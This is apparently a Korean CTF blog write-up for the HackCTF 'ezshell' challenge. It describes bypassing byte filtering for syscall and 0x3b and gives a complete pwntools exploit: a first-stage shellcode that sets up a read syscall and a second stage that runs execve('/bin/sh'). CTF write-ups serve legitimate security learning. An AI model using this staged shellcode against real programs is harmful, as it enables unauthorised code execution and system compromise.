본문 바로가기

pwn/HackCTF

ezshell

mitigation

 

shellcode 문제답게 nx bit가 걸려 있지 않고 코드내에서 syscall이나 0x3b 등의 바이트 필터링을 해서 바로 execve syscall을 수행할 수 없었다 또한 입력한 쉘코드가 실행되기 전에 rip를 제외한 모든 레지스터를 초기화시키기 때문에 rip를 제외하면 정보를 얻기가 매우 힘들다

 

 

 

from pwn import *
p = process("./ezshell")
#gdb.attach(p)

shell = b"\x48\x8d\x35\xc9\xff\xff\xff\x48\x89\xf1\xfe\xc9\xfe\xc9\xb2\xff\xff\xe1"
shell += b"A" * (30 - len(shell))

p.send(shell)
sleep(1)

ex_shell = b"\x48\x89\xf4\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x00\x51\xb0\x3b\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"

p.send(ex_shell)


p.interactive()

 

rip -0x37로 syscall 다음 주소를 구하여 rsi에 저장하고 syscall로 점프하여 read syscall을 수행한다 이때 rsi에 저장된 주소 즉 syscall 다음 주소에 값을 넣을 것이기 때문에 여기다가는 그냥 shellcode를 넣어주었다

 

flag

'pwn > HackCTF' 카테고리의 다른 글

ChildFSB  (0) 2022.03.20
hackCTF / Unexploitable #3  (0) 2022.03.15
babyfsb  (0) 2022.02.10
Keygen  (0) 2021.12.12
Unexploitable #1  (0) 2021.10.19